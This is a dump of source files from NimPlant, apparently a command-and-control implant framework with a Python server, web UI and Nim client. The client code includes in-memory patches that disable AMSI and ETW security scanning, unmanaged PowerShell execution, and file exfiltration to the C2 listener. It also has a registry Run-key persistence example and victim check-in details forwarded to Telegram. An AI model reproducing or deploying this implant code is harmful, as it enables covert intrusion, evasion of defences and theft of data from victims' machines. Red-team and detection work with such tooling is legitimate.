"favicon.png", 32 | "favicon.svg", 33 | "nimplant-logomark.svg", 34 | "nimplant.svg", 35 | ] 36 | 37 | os.mkdir(targetdir) 38 | for f in files: 39 | shutil.move(sourcedir + f, targetdir + f) 40 | 41 | # Move the output files to the right location 42 | print("Moving files to Nimplant directory...") 43 | 44 | targetdir = "../server/web" 45 | shutil.rmtree(targetdir) 46 | shutil.move(sourcedir, targetdir) 47 | 48 | print("Done!") 49 | -------------------------------------------------------------------------------- /ui/pages/nimplants/index.tsx: -------------------------------------------------------------------------------- 1 | import { FaLaptopCode } from 'react-icons/fa' 2 | import { Text, ScrollArea, Group, Card, Loader } from '@mantine/core' 3 | import { useMediaQuery } from '@mantine/hooks' 4 | import TitleBar from '../../components/TitleBar' 5 | import type { NextPage } from 'next' 6 | import NimplantOverviewCardList from '../../components/NimplantOverviewCardList' 7 | 8 | // Overview page for showing real-time information for all nimplants 9 | const NimplantList: NextPage = () => { 10 | const largeScreen = useMediaQuery('(min-width: 800px)') 11 | 12 | return ( 13 | <> 14 | } /> 15 | 16 | ({ color: theme.colors.gray[5] })}> 17 | 18 | Nimplant 19 | 20 | 21 | System 22 | 23 | 24 | Network 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | ) 34 | } 35 | export default NimplantList -------------------------------------------------------------------------------- /ui/pages/_app.tsx: -------------------------------------------------------------------------------- 1 | import '../styles/global.css' 2 | import { MantineProvider, Tuple, DefaultMantineColor } from '@mantine/core'; 3 | import { NotificationsProvider } from '@mantine/notifications'; 4 | import MainLayout from '../components/MainLayout'; 5 | import type { AppProps } from 'next/app' 6 | 7 | type ExtendedCustomColors = 'rose' | DefaultMantineColor; 8 | 9 | declare module '@mantine/core' { 10 | export interface MantineThemeColorsOverride { 11 | colors: Record>; 12 | } 13 | } 14 | 15 | // Define providers and main layout for all pages 16 | function MyApp({ Component, pageProps }: AppProps) { 17 | return ( 18 | <> 19 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | ); 39 | } 40 | 41 | export default MyApp 42 | -------------------------------------------------------------------------------- /ui/pages/server.tsx: -------------------------------------------------------------------------------- 1 | import { getServerConsole, restoreConnectionError, showConnectionError } from '../modules/nimplant' 2 | import { FaInfoCircle, FaServer, FaTerminal } from 'react-icons/fa' 3 | import { Tabs } from '@mantine/core' 4 | import { useEffect } from 'react' 5 | import Console from '../components/Console' 6 | import InfoCardListServer from '../components/InfoCardListServer' 7 | import TitleBar from '../components/TitleBar' 8 | import type { NextPage } from 'next' 9 | 10 | // Tabbed page for showing server information 11 | const ServerInfo: NextPage = () => { 12 | 13 | const { serverConsole, serverConsoleLoading, serverConsoleError } = getServerConsole() 14 | 15 | useEffect(() => { 16 | if (serverConsoleError) { 17 | showConnectionError() 18 | } else if (serverConsole){ 19 | restoreConnectionError() 20 | } 21 | }) 22 | 23 | return ( 24 | <> 25 | } noBorder /> 26 | 27 | 28 | }>Information 29 | }>Console 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | ) 43 | } 44 | export default ServerInfo -------------------------------------------------------------------------------- /ui/components/DownloadList.tsx: -------------------------------------------------------------------------------- 1 | import { FaRegMeh } from 'react-icons/fa' 2 | import { formatBytes, formatTimestamp, getDownloads } from '../modules/nimplant' 3 | import { Text, Group } from '@mantine/core' 4 | import Link from 'next/link' 5 | 6 | function DownloadList() { 7 | const { downloads, downloadsLoading, downloadsError } = getDownloads() 8 | 9 | 10 | // Check data length and return placeholder if no downloads are present 11 | if (!downloads || downloads.length === 0) return ( 12 | ({ color: theme.colors.gray[5] })}> 13 | 14 | Nothing here... 15 | 16 | ) 17 | 18 | // Otherwise render an overview of downloads 19 | return ( 20 | <> 21 | {downloads.map((file: any, index: number) => ( 22 | ({ 24 | '&:not(:last-child)': { 25 | borderBottom: `1px solid ${theme.colors.gray[1]}`, 26 | }, 27 | 28 | '&:hover': { 29 | cursor: 'pointer', 30 | } 31 | })} 32 | > 33 | 34 | 35 | 36 | {file.name} 37 | 38 | 39 | {formatBytes(file.size)} 40 | 41 | 42 | {formatTimestamp(file.lastmodified)} 43 | 44 | 45 | 46 | 47 | ))} 48 | 49 | ) 50 | } 51 | 52 | export default DownloadList -------------------------------------------------------------------------------- /.github/workflows/main.yml: -------------------------------------------------------------------------------- 1 | name: Test NimPlant builds 2 | 3 | on: 4 | push: 5 | branches: [ main ] 6 | pull_request: 7 | branches: [ main ] 8 | workflow_dispatch: 9 | 10 | jobs: 11 | build-nimplant: 12 | strategy: 13 | max-parallel: 1 14 | fail-fast: false 15 | matrix: 16 | os: [windows-latest, ubuntu-latest] 17 | runs-on: ${{ matrix.os }} 18 | steps: 19 | - name: Checkout code into workspace directory 20 | uses: actions/checkout@v3 21 | 22 | - name: Install Python 3.10 23 | uses: actions/setup-python@v1 24 | with: 25 | python-version: '3.10' 26 | 27 | - name: Install Nim 1.6.10 28 | uses: iffy/install-nim@v4 29 | with: 30 | version: binary:1.6.10 31 | 32 | - name: Install Python dependencies for NimPlant 33 | run: pip install -r ./server/requirements.txt 34 | 35 | - name: Install Nim dependencies for NimPlant 36 | working-directory: ./client 37 | run: nimble install -d -y 38 | 39 | - name: Install mingw-w64 on Linux 40 | if: matrix.os == 'ubuntu-latest' 41 | uses: egor-tensin/setup-mingw@v2 42 | with: 43 | platform: x64 44 | 45 | - name: Copy example configuration 46 | run: cp config.toml.example config.toml 47 | shell: bash 48 | 49 | - name: Compile NimPlant 50 | run: python NimPlant.py compile all 51 | 52 | - name: Check if all files compiled correctly 53 | uses: andstor/file-existence-action@v2 54 | with: 55 | fail: true 56 | files: "./client/bin/NimPlant.bin, ./client/bin/NimPlant.dll, ./client/bin/NimPlant.exe, ./client/bin/NimPlant-selfdelete.exe" 57 | -------------------------------------------------------------------------------- /client/commands/whoami.nim: -------------------------------------------------------------------------------- 1 | from winim/lean import GetUserName, CloseHandle, GetCurrentProcess, GetLastError, GetTokenInformation, OpenProcessToken, tokenElevation, 2 | TOKEN_ELEVATION, TOKEN_INFORMATION_CLASS, TOKEN_QUERY, HANDLE, PHANDLE, DWORD, PDWORD, LPVOID, LPWSTR, TCHAR 3 | from winim/utils import `&` 4 | import strutils 5 | import ../util/strenc 6 | 7 | # Determine if the user is elevated (running in high-integrity context) 8 | proc isUserElevated(): bool = 9 | var 10 | tokenHandle: HANDLE 11 | elevation = TOKEN_ELEVATION() 12 | cbsize: DWORD = 0 13 | 14 | if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, cast[PHANDLE](addr(tokenHandle))) == 0: 15 | when defined verbose: 16 | echo obf("DEBUG: Cannot query tokens: ") & $GetLastError() 17 | return false 18 | 19 | if GetTokenInformation(tokenHandle, tokenElevation, cast[LPVOID](addr(elevation)), cast[DWORD](sizeOf(elevation)), cast[PDWORD](addr(cbsize))) == 0: 20 | when defined verbose: 21 | echo obf("DEBUG: Cannot retrieve token information: ") & $GetLastError() 22 | discard CloseHandle(tokenHandle) 23 | return false 24 | 25 | result = elevation.TokenIsElevated != 0 26 | 27 | # Get the current username via the GetUserName API 28 | proc whoami*() : string = 29 | var 30 | buf : array[257, TCHAR] # 257 is UNLEN+1 (max username length plus null terminator) 31 | lpBuf : LPWSTR = addr buf[0] 32 | pcbBuf : DWORD = int32(len(buf)) 33 | 34 | discard GetUserName(lpBuf, &pcbBuf) 35 | for character in buf: 36 | if character == 0: break 37 | result.add(char(character)) 38 | if isUserElevated(): 39 | result.add(obf("*")) -------------------------------------------------------------------------------- /config.toml.example: -------------------------------------------------------------------------------- 1 | # NIMPLANT CONFIGURATION 2 | 3 | [server] 4 | # Configure the API for the C2 server here. Recommended to keep at 127.0.0.1, change IP to 0.0.0.0 to listen on all interfaces. 5 | ip = "127.0.0.1" 6 | # Configure port for the web interface of the C2 server, including API 7 | port = 31337 8 | 9 | [listener] 10 | # Configure listener type (HTTP or HTTPS) 11 | type = "HTTP" 12 | # Certificate and key path used for 'HTTPS" listener type 13 | sslCertPath = "" 14 | sslKeyPath = "" 15 | # Configure the hostname for NimPlant to connect to 16 | # Leave as "" for IP:PORT-based connections 17 | hostname = "" 18 | # Configure listener IP, mandatory even if hostname is specified 19 | ip = "0.0.0.0" 20 | # Configure listener port, mandatory even if hostname is specified 21 | port = 80 22 | # Configure the URI paths used for C2 communications 23 | registerPath = "/register" 24 | taskPath = "/task" 25 | resultPath = "/result" 26 | 27 | [nimplant] 28 | # Allow risky commands such as 'execute-assembly', 'powershell', or 'shinject' - operator discretion advised 29 | riskyMode = true 30 | # Enable Ekko sleep mask instead of a regular sleep() call 31 | # Only available for (self-deleting) executables, not for DLL or shellcode 32 | sleepMask = false 33 | # Configure the default sleep time in seconds 34 | sleepTime = 10 35 | # Configure the default sleep jitter in % 36 | sleepJitter = 0 37 | # Configure the kill date for Nimplants (format: yyyy-MM-dd) 38 | # Nimplants will exit if this date has passed 39 | killDate = "2050-12-31" 40 | # Configure the user-agent that NimPlants use to connect 41 | # Also used by the server to verify NimPlant traffic 42 | # Choosing an inconspicuous but uncommon user-agent is therefore recommended 43 | userAgent = "NimPlant C2 Client" -------------------------------------------------------------------------------- /server/util/notify.py: -------------------------------------------------------------------------------- 1 | import os 2 | import requests 3 | import urllib.parse 4 | 5 | # This is a placeholder class for easy extensibility, more than anything 6 | # You can easily add your own notification method below, and call it in the 'notify_user' function 7 | # It will then be called when a new implant checks in, passing the NimPlant object (see nimplant.py) 8 | 9 | 10 | def notify_user(np): 11 | try: 12 | message = ( 13 | "*A new NimPlant checked in!*\n\n" 14 | f"```\nUsername: {np.username}\n" 15 | f"Hostname: {np.hostname}\n" 16 | f"OS build: {np.osBuild}\n" 17 | f"External IP: {np.ipAddrExt}\n" 18 | f"Internal IP: {np.ipAddrInt}\n```" 19 | ) 20 | 21 | if ( 22 | os.getenv("TELEGRAM_CHAT_ID") is not None 23 | and os.getenv("TELEGRAM_BOT_TOKEN") is not None 24 | ): 25 | # Telegram notification 26 | notify_telegram( 27 | message, os.getenv("TELEGRAM_CHAT_ID"), os.getenv("TELEGRAM_BOT_TOKEN") 28 | ) 29 | else: 30 | # No relevant environment variables set, do not notify 31 | pass 32 | except Exception as e: 33 | print(f"An exception occurred while trying to send a push notification: {e}") 34 | 35 | 36 | def notify_telegram(message, telegram_chat_id, telegram_bot_token): 37 | message = urllib.parse.quote(message) 38 | notification_request = ( 39 | "https://api.telegram.org/bot" 40 | + telegram_bot_token 41 | + "/sendMessage?chat_id=" 42 | + telegram_chat_id 43 | + "&parse_mode=Markdown&text=" 44 | + message 45 | ) 46 | response = requests.get(notification_request) 47 | return response.json() 48 | -------------------------------------------------------------------------------- /client/commands/ls.nim: -------------------------------------------------------------------------------- 1 | from os import getCurrentDir, getFileInfo, FileInfo, splitPath, walkDir 2 | from times import format 3 | from strutils import strip, repeat, join 4 | from math import round 5 | 6 | # List files in the target directory 7 | proc ls*(args : varargs[string]) : string = 8 | var 9 | lsPath = args.join(obf(" ")) 10 | path : string 11 | output : string 12 | output_files : string 13 | dateTimeFormat : string = obf("dd-MM-yyyy H:mm:ss") 14 | 15 | # List the current directory if no argument is given 16 | if lsPath == "": 17 | path = getCurrentDir() 18 | else: 19 | path = lsPath 20 | 21 | output = obf("Directory listing of directory '") & path & obf("'.\n\n") 22 | output.add(obf("TYPE\tNAME\t\t\t\tSIZE\t\tCREATED\t\t\tLAST WRITE\n")) 23 | 24 | for kind, itemPath in walkDir(path): 25 | var 26 | info : FileInfo 27 | name : string = splitPath(itemPath).tail 28 | namePadded : string 29 | 30 | # Get file info, if readable to us 31 | try: 32 | namePadded = name & obf(" ").repeat(30-name.len) 33 | info = getFileInfo(itemPath) 34 | except: 35 | namePadded = name 36 | continue 37 | 38 | # Print directories first, then append files 39 | if $info.kind == obf("pcDir"): 40 | output.add(obf("[DIR] \t") & name & "\n") 41 | else: 42 | output_files.add(obf("[FILE] \t") & namePadded & obf("\t") & $(round(cast[int](info.size)/1024).toInt) & obf("KB\t\t") & $(info.creationTime).format(dateTimeFormat) & 43 | obf("\t") & $(info.lastWriteTime).format(dateTimeFormat) & "\n") 44 | 45 | output.add(output_files) 46 | result = output.strip(trailing = true) -------------------------------------------------------------------------------- /client/commands/ps.nim: -------------------------------------------------------------------------------- 1 | from winim/lean import MAX_PATH, WCHAR, DWORD, WINBOOL, HANDLE 2 | from winim/extra import PROCESSENTRY32, PROCESSENTRY32W, CreateToolhelp32Snapshot, Process32First, Process32Next 3 | from strutils import parseInt, repeat, strip 4 | from os import getCurrentProcessId 5 | 6 | # Overload $ proc to allow string conversion of szExeFile 7 | 8 | proc `$`(a: array[MAX_PATH, WCHAR]): string = $cast[WideCString](unsafeAddr a[0]) 9 | 10 | # Get list of running processes 11 | # https://forum.nim-lang.org/t/580 12 | proc ps*(): string = 13 | var 14 | output: string 15 | processSeq: seq[PROCESSENTRY32W] 16 | processSingle: PROCESSENTRY32 17 | 18 | let 19 | hProcessSnap = CreateToolhelp32Snapshot(0x00000002, 0) 20 | 21 | processSingle.dwSize = sizeof(PROCESSENTRY32).DWORD 22 | 23 | if Process32First(hProcessSnap, processSingle.addr): 24 | while Process32Next(hProcessSnap, processSingle.addr): 25 | processSeq.add(processSingle) 26 | CloseHandle(hProcessSnap) 27 | 28 | output = obf("PID\tNAME\t\t\t\tPPID\n") 29 | for processSingle in processSeq: 30 | var 31 | procName : string = $processSingle.szExeFile 32 | procNamePadded : string 33 | 34 | try: 35 | procNamePadded = procName & obf(" ").repeat(30-procname.len) 36 | except: 37 | procNamePadded = procName 38 | 39 | output.add($processSingle.th32ProcessID & obf("\t") & procNamePadded & obf("\t") & $processSingle.th32ParentProcessID) 40 | 41 | # Add an indicator to the current process 42 | if parseInt($processSingle.th32ProcessID) == getCurrentProcessId(): 43 | output.add(obf("\t<-- YOU ARE HERE")) 44 | 45 | output.add("\n") 46 | result = output.strip(trailing = true) -------------------------------------------------------------------------------- /client/util/winUtils.nim: -------------------------------------------------------------------------------- 1 | from nativesockets import getHostName, gethostbyname 2 | from os import getCurrentProcessId, splitPath, getAppFilename 3 | import winlean 4 | import ../commands/whoami 5 | import strenc 6 | 7 | # https://github.com/nim-lang/Nim/issues/11481 8 | type 9 | USHORT = uint16 10 | WCHAR = distinct int16 11 | UCHAR = uint8 12 | NTSTATUS = int32 13 | 14 | type OSVersionInfoExW {.importc: obf("OSVERSIONINFOEXW"), header: obf("").} = object 15 | dwOSVersionInfoSize: ULONG 16 | dwMajorVersion: ULONG 17 | dwMinorVersion: ULONG 18 | dwBuildNumber: ULONG 19 | dwPlatformId: ULONG 20 | szCSDVersion: array[128, WCHAR] 21 | wServicePackMajor: USHORT 22 | wServicePackMinor: USHORT 23 | wSuiteMask: USHORT 24 | wProductType: UCHAR 25 | wReserved: UCHAR 26 | 27 | # Import the rtlGetVersion API from NTDll 28 | proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS 29 | {.cdecl, importc: obf("RtlGetVersion"), dynlib: obf("ntdll.dll").} 30 | 31 | # Get Windows build based on rtlGetVersion 32 | proc getWindowsVersion*() : string = 33 | var 34 | versionInfo: OSVersionInfoExW 35 | 36 | discard rtlGetVersion(versionInfo) 37 | var vInfo = obf("Windows ") & $versionInfo.dwMajorVersion & obf(" build ") & $versionInfo.dwBuildNumber 38 | result = vInfo 39 | 40 | # Get the username 41 | proc getUsername*() : string = 42 | result = whoami() 43 | 44 | # Get the hostname 45 | proc getHost*() : string = 46 | result = getHostName() 47 | 48 | # Get the internal IP 49 | proc getIntIp*() : string = 50 | result = $gethostbyname(getHost()).addrList[0] 51 | 52 | # Get the current process ID 53 | proc getProcId*() : int = 54 | result = getCurrentProcessId() 55 | 56 | # Get the current process name 57 | proc getProcName*() : string = 58 | splitPath(getAppFilename()).tail -------------------------------------------------------------------------------- /ui/components/NimplantOverviewCardList.tsx: -------------------------------------------------------------------------------- 1 | import { FaRegMeh } from 'react-icons/fa' 2 | import { getNimplants, restoreConnectionError, showConnectionError } from '../modules/nimplant' 3 | import { Text, Group, Loader } from '@mantine/core' 4 | import { useMediaQuery } from '@mantine/hooks' 5 | import NimplantOverviewCard from './NimplantOverviewCard' 6 | import type Types from '../modules/nimplant.d' 7 | import { useEffect } from 'react' 8 | 9 | // Component for single nimplant card (for 'nimplants' overview screen) 10 | function NimplantOverviewCardList() { 11 | const largeScreen = useMediaQuery('(min-width: 800px)') 12 | 13 | // Query API 14 | const {nimplants, nimplantsLoading, nimplantsError} = getNimplants() 15 | 16 | useEffect(() => { 17 | // Render placeholder if data is not yet available 18 | if (nimplantsError) { 19 | showConnectionError() 20 | } else if (nimplants) { 21 | restoreConnectionError() 22 | } 23 | }) 24 | 25 | // Logic for displaying component 26 | if (nimplantsLoading || nimplantsError) { 27 | return ( 28 | ({ color: theme.colors.gray[5] })}> 29 | 30 | Loading... 31 | 32 | ) 33 | } 34 | 35 | // Check data length and return placeholder if no nimplants are active 36 | if (nimplants.length === 0) return ( 37 | ({ color: theme.colors.gray[5] })}> 38 | 39 | Nothing here... 40 | 41 | ) 42 | 43 | // Otherwise render the NimplantOverviewCard component for each nimplant 44 | return nimplants.map((np: Types.NimplantOverview) => ( 45 | 46 | )) 47 | } 48 | 49 | export default NimplantOverviewCardList -------------------------------------------------------------------------------- /server/web/static/_next/static/chunks/webpack-0b5d8249fb15f5f3.js: -------------------------------------------------------------------------------- 1 | !function(){"use strict";var e,t,n,r,o,u,f={},i={};function c(e){var t=i[e];if(void 0!==t)return t.exports;var n=i[e]={exports:{}},r=!0;try{f[e](n,n.exports,c),r=!1}finally{r&&delete i[e]}return n.exports}c.m=f,e=[],c.O=function(t,n,r,o){if(n){o=o||0;for(var u=e.length;u>0&&e[u-1][2]>o;u--)e[u]=e[u-1];e[u]=[n,r,o];return}for(var f=1/0,u=0;u=o&&Object.keys(c.O).every(function(e){return c.O[e](n[l])})?n.splice(l--,1):(i=!1,o> f) & 0xFF 13 | result.append(character) 14 | k = k + 1 15 | # Return a bytes-like object constructed from the iterator to prevent chr()/encode() issues 16 | return bytes(result) 17 | 18 | 19 | def randString(size, chars=string.ascii_letters + string.digits + string.punctuation): 20 | return "".join(random.choice(chars) for _ in range(size)) 21 | 22 | 23 | # https://stackoverflow.com/questions/3154998/pycrypto-problem-using-aesctr 24 | def encryptData(plaintext, key): 25 | iv = randString(16).encode("UTF-8") 26 | ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) 27 | aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) 28 | try: 29 | ciphertext = iv + aes.encrypt(plaintext.encode("UTF-8")) 30 | except AttributeError: 31 | ciphertext = iv + aes.encrypt(plaintext) 32 | enc = base64.b64encode(ciphertext).decode("UTF-8") 33 | return enc 34 | 35 | 36 | def decryptData(blob, key): 37 | ciphertext = base64.b64decode(blob) 38 | iv = ciphertext[:16] 39 | ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) 40 | aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) 41 | dec = aes.decrypt(ciphertext[16:]).decode("UTF-8") 42 | return dec 43 | 44 | 45 | def decryptBinaryData(blob, key): 46 | ciphertext = base64.b64decode(blob) 47 | iv = ciphertext[:16] 48 | ctr = Counter.new(128, initial_value=int.from_bytes(iv, byteorder="big")) 49 | aes = AES.new(key.encode("UTF-8"), AES.MODE_CTR, counter=ctr) 50 | dec = aes.decrypt(ciphertext[16:]) 51 | return dec 52 | -------------------------------------------------------------------------------- /client/commands/risky/powershell.nim: -------------------------------------------------------------------------------- 1 | import winim/clr except `[]` 2 | from strutils import parseInt 3 | import ../../util/patches 4 | 5 | # Execute a PowerShell command via referencing the System.Management.Automation 6 | # assembly DLL directly without calling powershell.exe 7 | proc powershell*(args : varargs[string]) : string = 8 | # This shouldn't happen since parameters are managed on the Python-side, but you never know 9 | if not args.len >= 2: 10 | result = obf("Invalid number of arguments received. Usage: 'powershell [command]'.") 11 | return 12 | 13 | var 14 | amsi: bool = false 15 | etw: bool = false 16 | commandArgs = args[2 .. ^1].join(obf(" ")) 17 | 18 | amsi = cast[bool](parseInt(args[0])) 19 | etw = cast[bool](parseInt(args[1])) 20 | 21 | result = obf("Executing command via unmanaged PowerShell...\n") 22 | if amsi: 23 | var res = patchAMSI() 24 | if res == 0: 25 | result.add(obf("[+] AMSI patched!\n")) 26 | if res == 1: 27 | result.add(obf("[-] Error patching AMSI!\n")) 28 | if res == 2: 29 | result.add(obf("[+] AMSI already patched!\n")) 30 | if etw: 31 | var res = patchETW() 32 | if res == 0: 33 | result.add(obf("[+] ETW patched!\n")) 34 | if res == 1: 35 | result.add(obf("[-] Error patching ETW!\n")) 36 | if res == 2: 37 | result.add(obf("[+] ETW already patched!\n")) 38 | 39 | let 40 | Automation = load(obf("System.Management.Automation")) 41 | RunspaceFactory = Automation.GetType(obf("System.Management.Automation.Runspaces.RunspaceFactory")) 42 | var 43 | runspace = @RunspaceFactory.CreateRunspace() 44 | pipeline = runspace.CreatePipeline() 45 | 46 | runspace.Open() 47 | pipeline.Commands.AddScript(commandArgs) 48 | pipeline.Commands.Add(obf("Out-String")) 49 | 50 | var pipeOut = pipeline.Invoke() 51 | for i in countUp(0, pipeOut.Count() - 1): 52 | result.add($pipeOut.Item(i)) 53 | 54 | runspace.Dispose() -------------------------------------------------------------------------------- /client/util/patches.nim: -------------------------------------------------------------------------------- 1 | import winim/lean 2 | import dynlib 3 | import strenc 4 | 5 | # Patch AMSI to stop dotnet and unmanaged powershell buffers from being scanned 6 | proc patchAMSI*(): int = 7 | const 8 | patchBytes: array[3, byte] = [byte 0x48, 0x31, 0xc0] 9 | var 10 | amsi: LibHandle 11 | patchAddress: pointer 12 | oldProtect: DWORD 13 | tmp: DWORD 14 | currentBytes: array[3, byte] 15 | 16 | amsi = loadLib(obf("amsi")) 17 | if isNil(amsi): 18 | return 1 # ERR 19 | 20 | patchAddress = cast[pointer](cast[int](amsi.symAddr(obf("AmsiScanBuffer"))) + cast[int](0x6a)) 21 | if isNil(patchAddress): 22 | return 1 # ERR 23 | 24 | # Verify if AMSI has already been patched 25 | copyMem(addr(currentBytes[0]), patchAddress, 3) 26 | if currentBytes == patchBytes: 27 | return 2 # Already patched 28 | 29 | if VirtualProtect(patchAddress, patchBytes.len, 0x40, addr oldProtect): 30 | copyMem(patchAddress, unsafeAddr patchBytes, patchBytes.len) 31 | VirtualProtect(patchAddress, patchBytes.len, oldProtect, addr tmp) 32 | return 0 # OK 33 | 34 | return 1 # ERR 35 | 36 | # Patch ETW to stop event tracing 37 | proc patchETW*(): int = 38 | const 39 | patchBytes: array[1, byte] = [byte 0xc3] 40 | var 41 | ntdll: LibHandle 42 | patchAddress: pointer 43 | oldProtect: DWORD 44 | tmp: DWORD 45 | currentBytes: array[1, byte] 46 | 47 | ntdll = loadLib(obf("ntdll")) 48 | if isNil(ntdll): 49 | return 1 # ERR 50 | 51 | patchAddress = ntdll.symAddr(obf("EtwEventWrite")) 52 | if isNil(patchAddress): 53 | return 1 # ERR 54 | 55 | # Verify if ETW has already been patched 56 | copyMem(addr(currentBytes[0]), patchAddress, 1) 57 | if currentBytes == patchBytes: 58 | return 2 # Already patched 59 | 60 | if VirtualProtect(patchAddress, patchBytes.len, 0x40, addr oldProtect): 61 | copyMem(patchAddress, unsafeAddr patchBytes, patchBytes.len) 62 | VirtualProtect(patchAddress, patchBytes.len, oldProtect, addr tmp) 63 | return 0 # OK 64 | 65 | return 1 # ERR -------------------------------------------------------------------------------- /client/commands/download.nim: -------------------------------------------------------------------------------- 1 | import puppy, zippy 2 | from strutils import toLowerAscii 3 | from os import fileExists 4 | from ../util/webClient import Listener 5 | from ../util/crypto import encryptData 6 | 7 | # Upload a file from the C2 server to NimPlant 8 | # From NimPlant's perspective this is similar to wget, but calling to the C2 server instead 9 | proc download*(li : Listener, cmdGuid : string, args : varargs[string]) : string = 10 | var 11 | filePath : string 12 | file : string 13 | url : string 14 | res : Response 15 | 16 | if args.len == 1 and args[0] != "": 17 | filePath = args[0] 18 | else: 19 | # Handling of the first argument (filename) should be done done by the python server 20 | result = obf("Invalid number of arguments received. Usage: 'download [remote file] '.") 21 | return 22 | 23 | # Construct the URL to upload the file to 24 | url = toLowerAscii(li.listenerType) & obf("://") 25 | if li.listenerHost != "": 26 | url = url & li.listenerHost 27 | else: 28 | url = url & li.listenerIp & obf(":") & li.listenerPort 29 | url = url & li.taskpath & obf("/u") 30 | 31 | # Read the file only if it is a valid file path 32 | if fileExists(filePath): 33 | file = encryptData(compress(readFile(filePath)), li.cryptKey) 34 | else: 35 | result = obf("Path to download is not a file. Usage: 'download [remote file] '.") 36 | return 37 | 38 | # Prepare the Puppy web request 39 | let req = Request( 40 | url: parseUrl(url), 41 | verb: "post", 42 | allowAnyHttpsCertificate: true, 43 | headers: @[ 44 | Header(key: obf("User-Agent"), value: li.userAgent), 45 | Header(key: obf("Content-Encoding"), value: obf("gzip")), 46 | Header(key: obf("X-Identifier"), value: li.id), # Nimplant ID 47 | Header(key: obf("X-Unique-ID"), value: cmdGuid) # Task GUID 48 | ], 49 | body: file 50 | ) 51 | 52 | # Get the file - Puppy will take care of transparent gzip deflation 53 | res = fetch(req) 54 | 55 | result = "" # Server will know when the file comes in successfully or an error occurred -------------------------------------------------------------------------------- /client/commands/reg.nim: -------------------------------------------------------------------------------- 1 | import registry 2 | from strutils import join, split, startsWith 3 | 4 | # Query or modify the Windows registry 5 | proc reg*(args : varargs[string]) : string = 6 | 7 | var 8 | command : string 9 | path : string 10 | key : string 11 | value : string 12 | handleStr : string 13 | regPath : string 14 | handle : registry.HKEY 15 | 16 | # Parse arguments 17 | case args.len: 18 | of 2: 19 | command = args[0] 20 | path = args[1] 21 | key = obf("(Default)") 22 | of 3: 23 | command = args[0] 24 | path = args[1] 25 | key = args[2] 26 | of 4: 27 | command = args[0] 28 | path = args[1] 29 | key = args[2] 30 | value = args[3 .. ^1].join(obf(" ")) 31 | else: 32 | result = obf("Invalid number of arguments received. Usage: 'reg [query|add] [path] '. Example: 'reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run inconspicuous calc.exe'") 33 | return 34 | 35 | # Parse the registry path 36 | try: 37 | handleStr = path.split(obf("\\"))[0] 38 | regPath = path.split(obf("\\"), 1)[1] 39 | except: 40 | result = obf("Unable to parse registry path. Please use format: 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'.") 41 | return 42 | 43 | # Identify the correct hive from the parsed path 44 | if handleStr.startsWith(obf("hkcu")): 45 | handle = registry.HKEY_CURRENT_USER 46 | elif handleStr.startsWith(obf("hklm")): 47 | handle = registry.HKEY_LOCAL_MACHINE 48 | else: 49 | result = obf("Invalid registry. Only 'HKCU' and 'HKLM' are supported at this time.") 50 | return 51 | 52 | # Query an existing registry value 53 | if command == obf("query"): 54 | result = getUnicodeValue(regPath, key, handle) 55 | 56 | # Add a value to the registry 57 | elif command == obf("add"): 58 | setUnicodeValue(regPath, key, value, handle) 59 | result = obf("Successfully set registry value.") 60 | 61 | else: 62 | result = obf("Unknown reg command. Please use 'reg query' or 'reg add' followed by the path (and value when adding a key).") 63 | return -------------------------------------------------------------------------------- /server/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | # ----- 4 | # 5 | # NimPlant Server - The "C2-ish"™ handler for the NimPlant payload 6 | # By Cas van Cooten (@chvancooten) 7 | # 8 | # ----- 9 | 10 | import threading 11 | import time 12 | 13 | from .api.server import api_server, server_ip, server_port 14 | from .util.db import initDb, dbInitNewServer, dbPreviousServerSameConfig 15 | from .util.func import nimplantPrint, periodicNimplantChecks 16 | from .util.listener import * 17 | from .util.nimplant import * 18 | from .util.input import * 19 | 20 | 21 | def main(xor_key=459457925, name=""): 22 | # Initialize the SQLite database 23 | initDb() 24 | 25 | # Restore the previous server session if config remains unchanged 26 | # Otherwise, initialize a new server session 27 | if dbPreviousServerSameConfig(np_server, xor_key): 28 | nimplantPrint("Existing server session found, restoring...") 29 | np_server.restoreServerFromDb() 30 | else: 31 | np_server.initNewServer(name, xor_key) 32 | dbInitNewServer(np_server) 33 | 34 | # Start daemonized Flask server for API communications 35 | t1 = threading.Thread(name="Listener", target=api_server) 36 | t1.setDaemon(True) 37 | t1.start() 38 | nimplantPrint(f"Started management server on http://{server_ip}:{server_port}.") 39 | 40 | # Start another thread for NimPlant listener 41 | t2 = threading.Thread(name="Listener", target=flaskListener, args=(xor_key,)) 42 | t2.setDaemon(True) 43 | t2.start() 44 | nimplantPrint( 45 | f"Started NimPlant listener on {listenerType.lower()}://{listenerIp}:{listenerPort}. CTRL-C to cancel waiting for NimPlants." 46 | ) 47 | 48 | # Start another thread to periodically check if nimplants checked in on time 49 | t3 = threading.Thread(name="Listener", target=periodicNimplantChecks) 50 | t3.setDaemon(True) 51 | t3.start() 52 | 53 | # Run the console as the main thread 54 | while True: 55 | try: 56 | if np_server.isActiveNimplantSelected(): 57 | promptUserForCommand() 58 | elif np_server.containsActiveNimplants(): 59 | np_server.selectNextActiveNimplant() 60 | else: 61 | pass 62 | 63 | time.sleep(0.5) 64 | 65 | except KeyboardInterrupt: 66 | exitServerConsole() 67 | -------------------------------------------------------------------------------- /ui/components/NavbarContents.tsx: -------------------------------------------------------------------------------- 1 | import { Box, Center, Group, Image, Navbar, Text, UnstyledButton } from "@mantine/core"; 2 | import { FaHome, FaServer, FaLaptopCode, FaDownload } from 'react-icons/fa' 3 | import { useMediaQuery } from "@mantine/hooks"; 4 | import Link from "next/link"; 5 | import React from "react"; 6 | 7 | import { useRouter } from 'next/router' 8 | 9 | interface MainLinkProps { 10 | icon: React.ReactNode; 11 | label: string; 12 | target: string; 13 | active: 